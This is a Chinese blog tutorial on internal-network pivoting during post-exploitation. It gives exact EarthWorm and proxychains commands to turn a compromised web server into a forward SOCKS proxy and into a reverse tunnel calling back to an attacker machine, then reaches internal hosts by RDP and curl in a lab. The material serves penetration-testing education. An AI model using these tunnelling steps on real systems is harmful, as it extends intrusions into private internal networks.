内网转发工具EW的使用

绝地灬酷狼 2023-10-06 17:56 42阅读 0赞

#### 目录 ####

*   *  EW(EarthWorm)结合proxychains代理链
     *   *  EW正向代理
         *  EW反向代理

在渗透测试中，当我们获得了外网服务器（如web服务器，ftp服务器，mali服务器等等）的一定权限后发现这台服务器可以直接或者间接的访问内网。此时渗透测试进入后渗透阶段，一般情况下，内网中的其他机器是不允许外网机器访问的。这时候，我们可以通过 端口转发(隧道) 或将这台外网服务器设置成为 代理，使得我们自己的攻击机可以直接访问与操作内网中的其他机器。实现这一过程的手段就叫做内网转发。

### EW(EarthWorm)结合proxychains代理链 ###

EW 是一套便携式的网络穿透工具，具有 SOCKS5服务架设和端口转发两大核心功能，可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道，直达网络深处，用蚯蚓独有的手段突破网络限制，给防火墙松土。工具包中提供了多种可执行文件，以适用不同的操作系统，Linux、Windows、MacOS、Arm-Linux 均被包括其内,强烈推荐使用，跨平台，任何平台都可以轻松使用！

![在这里插入图片描述][20210616135231929.png]

现在有这么一个环境，我们获取到了位于公网Web服务器的权限，内网中存在另外一台主机，然后，我们现在要将公网Web服务器设置为代理，访问和探测内网主机的信息。  
![在这里插入图片描述][2021061613481017.png]

#### EW正向代理 ####

**web服务器设置**  
设置EW监听本地的1080端口  
`ew_for_Win.exe -s ssocksd -l 1080`  
![在这里插入图片描述][20210616135321887.png]l

**Linux主机设置**  
配置proxychains代理链的配置文件，将代理设置成 192.168.137.128的1080端口：socks5 192.168.137.128 1080  
`vim /etc/proxychains4.conf`  
![在这里插入图片描述][20210616140102445.png]  
然后在命令前加上proxychains就行，比如远程桌面连接内网中的主机192.168.52.143  
`proxychains rdesktop 192.168.52.143`![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70]

#### EW反向代理 ####

**web服务器设置**  
设置EW将本机的流量全部转发到192.168.137.129的8888端口  
`ew_for_Win.exe -s rssocks -d 192.168.137.129 -e 8888`  
![在这里插入图片描述][20210616143345359.png]

**Linux主机设置**  
设置ew将本机的8888端口的流量都转发给1080端口  
`./ew_for_linux64 -s rcsocks -l 1080 -e 8888`  
![在这里插入图片描述][20210616143639230.png]然后配置proxychains代理链的配置文件，将代理设置成 127.0.0.1的1080端口：socks5 127.0.0.1 1080  
![在这里插入图片描述][2021061614384599.png]  
然后在命令前加上proxychains就行，比如远程桌面连接内网中的主机192.168.52.143  
`proxychains rdesktop 192.168.52.143`  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 1]  
访问内网主机192.168.52.143上开启的web服务  
`proxychains curl http://192.168.52.143/yxcms/`  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 2]

[20210616135231929.png]: https://img-blog.csdnimg.cn/20210616135231929.png
[2021061613481017.png]: https://img-blog.csdnimg.cn/2021061613481017.png
[20210616135321887.png]: https://img-blog.csdnimg.cn/20210616135321887.png
[20210616140102445.png]: https://img-blog.csdnimg.cn/20210616140102445.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70]: https://img-blog.csdnimg.cn/20210616140656740.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70
[20210616143345359.png]: https://img-blog.csdnimg.cn/20210616143345359.png
[20210616143639230.png]: https://img-blog.csdnimg.cn/20210616143639230.png
[2021061614384599.png]: https://img-blog.csdnimg.cn/2021061614384599.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 1]: https://img-blog.csdnimg.cn/20210616145053689.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5_size_16_color_FFFFFF_t_70 2]: https://img-blog.csdnimg.cn/20210616151805412.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2d1bzE1ODkwMDI1MDE5,size_16,color_FFFFFF,t_70